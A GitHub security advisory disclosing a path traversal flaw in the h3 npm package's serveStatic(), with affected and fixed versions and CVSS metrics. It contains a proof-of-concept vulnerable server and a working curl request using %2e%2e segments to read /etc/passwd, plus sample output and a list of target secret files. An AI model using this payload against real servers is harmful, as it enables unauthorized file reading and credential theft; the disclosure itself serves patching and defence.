GHSA-wr4h-v87w-p3r7
ADVISORY - githubSummary
Summary
serveStatic() in h3 is vulnerable to path traversal via percent-encoded dot segments (%2e%2e), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments.
Details
The vulnerability exists in src/utils/static.ts at line 86:
const originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname)));
On Node.js, h3 uses srvx's FastURL class to parse request URLs. Unlike the standard WHATWG URL parser, FastURL extracts the pathname via raw string slicing for performance — it does not normalize dot segments (. / ..) or resolve percent-encoded equivalents (%2e).
This means a request to /%2e%2e/ will have event.url.pathname return /%2e%2e/ verbatim, whereas the standard URL parser would normalize it to / (resolving .. upward).
The serveStatic() function then calls decodeURI() on this raw pathname, which decodes %2e to ., producing /../. The resulting path containing ../ traversal sequences is passed directly to the user-provided getMeta() and getContents() callbacks with no sanitization or traversal validation.
When these callbacks perform filesystem operations (the intended and documented usage), the ../ sequences resolve against the filesystem, escaping the static root directory.
Before exploit:
Vulnerability chain
1. Attacker sends: GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd
2. FastURL.pathname: /%2e%2e/%2e%2e/%2e%2e/etc/passwd (raw, no normalization)
3. decodeURI(): /../../../etc/passwd (%2e decoded to .)
4. getMeta(id): id = "/../../../etc/passwd" (no traversal check)
5. path.join(root,id): /etc/passwd (.. resolved by OS)
6. Response: contents of /etc/passwd
PoC
Vulnerable server (server.ts)
import { H3, serveStatic } from "h3";
import { serve } from "h3/node";
import { readFileSync, statSync } from "node:fs";
import { join, resolve } from "node:path";
const STATIC_ROOT = resolve("./public");
const app = new H3();
app.all("/**", (event) =>
serveStatic(event, {
getMeta: (id) => {
const filePath = join(STATIC_ROOT, id);
try {
const stat = statSync(filePath);
return { size: stat.size, mtime: stat.mtime };
} catch {
return undefined;
}
},
getContents: (id) => {
const filePath = join(STATIC_ROOT, id);
try {
return readFileSync(filePath);
} catch {
return undefined;
}
},
})
);
serve({ fetch: app.fetch });
Exploit
# Read /etc/passwd (adjust number of %2e%2e segments based on static root depth)
curl -s --path-as-is "http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
Result
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Proof:
Pwned by 0xkakashi
Impact
An unauthenticated remote attacker can read arbitrary files from the server's filesystem by sending a crafted HTTP request with %2e%2e (percent-encoded ..) path segments to any endpoint served by serveStatic().
This affects any h3 v2.x application using serveStatic() running on Node.js (where the FastURL fast path is used). Applications running on runtimes that provide a pre-parsed URL object (e.g., Cloudflare Workers, Deno) may not be affected, as FastURL's raw string slicing is bypassed.
Exploitable files include but are not limited to:
/etc/passwd,/etc/shadow(if readable)- Application source code and configuration files
.envfiles containing secrets, API keys, database credentials- Private keys and certificates
GitHub
CVSS SCORE
5.9medium| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| h3 | npm | - | - | <1.15.6 | 1.15.6 |
| h3 | npm | - | - | >=2.0.0,<=2.0.1-rc.14 | 2.0.1-rc.15 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
A successful attack depends on conditions beyond the attacker's control, requiring investing a measurable amount of effort in research, preparation, or execution against the vulnerable component before a successful attack.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
There is no loss of trust or accuracy within the impacted component.
There is no impact to availability within the impacted component.